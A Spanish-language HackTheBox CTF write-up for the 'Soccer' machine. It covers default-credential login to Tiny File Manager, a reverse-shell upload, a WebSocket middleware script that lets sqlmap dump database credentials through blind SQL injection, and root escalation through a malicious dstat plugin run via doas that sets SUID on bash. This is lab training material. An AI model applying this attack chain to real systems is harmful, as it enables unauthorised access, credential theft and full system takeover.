Soccer es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Soccer 10.10.11.194 a /etc/hosts como soccer.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
nmap -sV -oA enumeration/nmap 10.10.11.194 Nmap scan report for 10.10.11.194 Host is up (0.054s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) 9091/tcp open xmltec-xmlmail? 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9091-TCP:V=7.92%I=7%D=2/9%Time=63E4CEB4%P=x86_64-pc-linux-gnu%r(inf SF:ormix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\ SF:n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x2 SF:0close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\n SF:Content-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Opt SF:ions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCon SF:tent-Length:\x20139\r\nDate:\x20Thu,\x2009\x20Feb\x202023\x2010:45:15\x SF:20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang= SF:\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</h SF:ead>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HTT SF:POptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Poli SF:cy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nC SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r SF:\nDate:\x20Thu,\x2009\x20Feb\x202023\x2010:45:15\x20GMT\r\nConnection:\ SF:x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<met SF:a\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Ca SF:nnot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HTT SF:P/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-sr SF:c\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20t SF:ext/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Thu,\x SF:2009\x20Feb\x202023\x2010:45:15\x20GMT\r\nConnection:\x20close\r\n\r\n< SF:!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"ut SF:f-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\x SF:20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\ SF:x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F, SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r SF:(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnecti SF:on:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ SF:nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x2 SF:0Bad\x20Request\r\nConnection:\x20close\r\n\r\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Feb 9 10:45:16 2023 -- 1 IP address (1 host up) scanned in 15.70 seconds |
Encontramos 3 puertos abiertos en el escaneo así que vamos a ello.
Enumeración
Accedemos al portal web en el puerto 80 y vemos la siguiente página web
Revisamos un poco la página por encima, el código fuente y demás y procedemos a la enumeración de directorios con feroxbuster
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
$ feroxbuster -u http://soccer.htb/ -x php -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -e ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.7.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://soccer.htb/ 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.7.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 200 GET 711l 4253w 223740c http://soccer.htb/ground2.jpg 200 GET 494l 1440w 56375c http://soccer.htb/ground3.jpg 200 GET 809l 5093w 271030c http://soccer.htb/ground1.jpg 200 GET 2232l 4070w 124485c http://soccer.htb/ground4.jpg 200 GET 147l 526w 6917c http://soccer.htb/ 301 GET 7l 12w 178c http://soccer.htb/tiny => http://soccer.htb/tiny/ 301 GET 7l 12w 178c http://soccer.htb/tiny/uploads => http://soccer.htb/tiny/uploads/ [####################] - 1m 159546/159546 0s found:7 errors:0 [####################] - 1m 53168/53168 806/s http://soccer.htb/ [####################] - 1m 53168/53168 752/s http://soccer.htb/tiny [####################] - 1m 53168/53168 755/s http://soccer.htb/tiny/uploads |
Y encontramos una página de login del software tinyfilemanager
Revisando la documentación de la aplicación, probamos con las credenciales por defecto que serían las siguientes
1 |
admin:admin@123 |
Funcionan, así que accedemos al dashboard y vemos la siguiente página
Revisamos el portal y vemos una sección donde podemos subir ficheros
Así que subimos una revshell y conseguimos acceso en nuestra escucha con el usuario www-data
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.10] from soccer.htb [10.10.11.194] 34036 Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux 10:59:42 up 1:23, 0 users, load average: 0.11, 0.08, 0.03 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ |
Escalado al usuario player
Una vez dentro, obtenemos una shell en condiciones con la ayuda de python
1 2 |
$ python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@soccer:/$ |
Enumeramos la máquina y vemos un subdominio en el fichero hosts de la máquina
1 2 3 4 |
www-data@soccer:/$ cat /etc/hosts cat /etc/hosts 127.0.0.1 localhost soccer soccer.htb soc-player.soccer.htb 127.0.1.1 ubuntu-focal ubuntu-focal |
Revisamos la configuración del virtualhost en los ficheros de nginx para conocer donde está el código de la misma
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
www-data@soccer:/etc/nginx/sites-available$ cat soc-player.htb cat soc-player.htb server { listen 80; listen [::]:80; server_name soc-player.soccer.htb; root /root/app/views; location / { proxy_pass http://localhost:3000; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection 'upgrade'; proxy_set_header Host $host; proxy_cache_bypass $http_upgrade; } } |
El código de la aplicación se encuentra en el directorio de root, así que no podemos verlo, por lo que vamos a navegar al mismo a través del navegador
No disponemos de credenciales, así que nos registramos en la página
Una vez registrados, accedemos, y vemos una página de tickets
No parece que podamos hacer mucho por aqui, así que revisamos el código fuente y encontramos una parte interesante
La página web llama a un websocket en el puerto 9091 así que vamos a tratar de tirar por ahí.
El puerto del websocket lo vimos en el escaneo con nmap y si hacemos una prueba de conexión vemos que es posible:
1 2 3 4 5 |
$ websocat ws://soc-player.soccer.htb:9091 -v [INFO websocat::lints] Auto-inserting the line mode [INFO websocat::stdio_threaded_peer] get_stdio_peer (threaded) [INFO websocat::ws_client_peer] get_ws_client_peer [INFO websocat::ws_client_peer] Connected to ws |
Así que vamos a buscar en google y encontramos un post interesante donde explica como realizar un ataque de SQLi ciego a través de un web socket en github.
Revisamos el script y haremos un par de cambios.
Cambiaremos la siguiente línea
1 |
ws_server = "ws://localhost:8156/ws" |
Por esto
1 |
ws_server = "ws://soc-player.soccer.htb:9091/" |
Y la línea
1 |
data = '{"employeeID":"%s"}' % message |
Por esto otro
1 |
data = '{"id":"%s"}' % message |
Y nos quedaría el script tal que así
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
from http.server import SimpleHTTPRequestHandler from socketserver import TCPServer from urllib.parse import unquote, urlparse from websocket import create_connection ws_server = "ws://soc-player.soccer.htb:9091/" def send_ws(payload): ws = create_connection(ws_server) # If the server returns a response on connect, use below line #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here # For our case, format the payload in JSON message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure data = '{"id":"%s"}' % message ws.send(data) resp = ws.recv() ws.close() if resp: return resp else: return '' def middleware_server(host_port,content_type="text/plain"): class CustomHandler(SimpleHTTPRequestHandler): def do_GET(self) -> None: self.send_response(200) try: payload = urlparse(self.path).query.split('=',1)[1] except IndexError: payload = False if payload: content = send_ws(payload) else: content = 'No parameters specified!' self.send_header("Content-type", content_type) self.end_headers() self.wfile.write(content.encode()) return class _TCPServer(TCPServer): allow_reuse_address = True httpd = _TCPServer(host_port, CustomHandler) httpd.serve_forever() print("[+] Starting MiddleWare Server") print("[+] Send payloads in http://localhost:8081/?id=*") try: middleware_server(('0.0.0.0',8081)) except KeyboardInterrupt: pass |
Una vez hechos los cambios ejecutamos nuestro exploit
1 2 3 |
$ python3 websocket-exploit.py [+] Starting MiddleWare Server [+] Send payloads in http://localhost:8081/?id=* |
Y lanzaremos sqlmap siguiendo la explicación del artículo
1 2 3 4 5 6 7 8 |
$ sqlmap -u "http://localhost:8081/?id=1" --batch --dbs -------- available databases [5]: [*] information_schema [*] mysql [*] performance_schema [*] soccer_db [*] sys |
Ya tenemos las bases de datos, vamos a enumerar ahora las tablas del esquema soccer_db
1 2 3 4 5 6 7 |
$ sqlmap -u "http://localhost:8081/?id=1" --batch -D soccer_db -tables -------- Database: soccer_db [1 table] +----------+ | accounts | +----------+ |
Posteriormente las columnas de la única tabla existente
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ sqlmap -u "http://localhost:8081/?id=1" --batch -D soccer_db -T accounts -columns --------- Database: soccer_db Table: accounts [4 columns] +----------+-------------+ | Column | Type | +----------+-------------+ | email | varchar(40) | | id | int | | password | varchar(40) | | username | varchar(40) | +----------+-------------+ |
Y por último los datos de la tabla
1 2 3 4 5 6 7 8 9 10 |
$ sqlmap -u "http://localhost:8081/?id=1" --batch -D soccer_db -T accounts -C username,password -dump -------- Database: soccer_db Table: accounts [1 entry] +----------+----------------------+ | username | password | +----------+----------------------+ | player | PlayerOftheMatch2022 | +----------+----------------------+ |
Y tenemos unas credenciales del usuario player, así que vamos a conectar por ssh con las mismas
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
$ ssh player@soccer.htb The authenticity of host 'soccer.htb (10.10.11.194)' can't be established. ED25519 key fingerprint is SHA256:PxRZkGxbqpmtATcgie2b7E8Sj3pw1L5jMEqe77Ob3FE. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'soccer.htb' (ED25519) to the list of known hosts. player@soccer.htb's password: Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information disabled due to load higher than 2.0 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment. https://ubuntu.com/engage/secure-kubernetes-at-the-edge 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Tue Dec 13 07:29:10 2022 from 10.10.14.19 player@soccer:~$ id uid=1001(player) gid=1001(player) groups=1001(player) |
Obteniendo la flag de user
Una vez dentro con el usuario player, cogemos simplemente nuestra primera flag
1 2 3 |
player@soccer:~$ cat user.txt 44xxxxxxxxxxxxxxxxxxxxxxxxxf9e player@soccer:~$ |
Escalado de privilegios
Una vez dentro, revisamos los ficheros existentes con permisos de suid
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
player@soccer:~$ find / -perm -4000 2>/dev/null /usr/local/bin/doas /usr/lib/snapd/snap-confine /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/eject/dmcrypt-get-device /usr/bin/umount /usr/bin/fusermount /usr/bin/mount /usr/bin/su /usr/bin/newgrp /usr/bin/chfn /usr/bin/sudo /usr/bin/passwd /usr/bin/gpasswd /usr/bin/chsh /usr/bin/at /snap/snapd/17883/usr/lib/snapd/snap-confine /snap/core20/1695/usr/bin/chfn /snap/core20/1695/usr/bin/chsh /snap/core20/1695/usr/bin/gpasswd /snap/core20/1695/usr/bin/mount /snap/core20/1695/usr/bin/newgrp /snap/core20/1695/usr/bin/passwd /snap/core20/1695/usr/bin/su /snap/core20/1695/usr/bin/sudo /snap/core20/1695/usr/bin/umount /snap/core20/1695/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core20/1695/usr/lib/openssh/ssh-keysign player@soccer:~$ |
Y observamos que está el binario de doas, para el que no lo conozca se trata de una tool que trabaja de forma, digamos, similar a sudo, ya que permite dar permisos elevados a un usuario para la ejecución de ciertas tareas concretas. Así que vamos a buscar donde esta la configuración del binario
1 2 |
player@soccer:~$ find / -name doas.conf 2>/dev/null /usr/local/etc/doas.conf |
Y revisamos el contenido del fichero
1 2 |
player@soccer:/usr/local/etc$ cat doas.conf permit nopass player as root cmd /usr/bin/dstat |
En el mismo indica que podemos ejecutar el comando dstat como root, así que vamos a probarlo
1 2 3 4 5 6 7 |
player@soccer:/usr/local/etc$ doas -u root /usr/bin/dstat You did not select any stats, using -cdngy by default. --total-cpu-usage-- -dsk/total- -net/total- ---paging-- ---system-- usr sys idl wai stl| read writ| recv send| in out | int csw 4 4 92 0 0| 133k 15k| 0 0 | 0 0 | 295 468 48 52 0 0 0| 0 0 |1210B 1459B| 0 0 | 243 212 43 57 0 0 0| 0 0 | 126B 342B| 0 0 | 190 201 |
Y así es, así que puede ser la forma de escalar privilegios.
Revisamos la ruta de configuración de dstat y observamos que tenemos permisos de escritura
1 2 3 4 5 6 |
player@soccer:/usr/local/share$ ls -l total 16 drwxr-xr-x 2 root root 4096 Nov 15 21:39 ca-certificates drwxrwx--- 2 root player 4096 Dec 12 14:53 dstat drwxrwsr-x 2 root staff 4096 Nov 17 08:06 fonts drwxr-xr-x 5 root root 4096 Nov 17 09:09 man |
Conociendo como funciona esta aplicación, vamos a crear un plugin que otorgue permisos de suid al binario de bash, y que posteriormente llamaremos desde dstat
1 |
player@soccer:/usr/local/share$ echo 'import os;os.system("chmod u+s /bin/bash")' > dstat/dstat_custom.py |
Una vez creado, ejecutamos dstat con nuestro plugin
1 2 3 4 5 |
player@soccer:/usr/local/share$ doas -u root /usr/bin/dstat --custom /usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses import imp Module dstat_custom failed to load. (name 'dstat_plugin' is not defined) None of the stats you selected are available. |
Y revisamos que ha funcionado correctamente
1 2 |
player@soccer:/usr/local/share$ ls -l /bin/bash -rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash |
Obteniendo la flag de root
Con el bit de suid añadido a bash, sólo nos queda escalar a root y coger la flag
1 2 3 4 5 6 7 |
player@soccer:/usr/local/share$ bash -p bash-5.0# id uid=1001(player) gid=1001(player) euid=0(root) groups=1001(player) bash-5.0# cd /root bash-5.0# cat root.txt 70xxxxxxxxxxxxxxxxxxxxxxxxxx5f bash-5.0# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace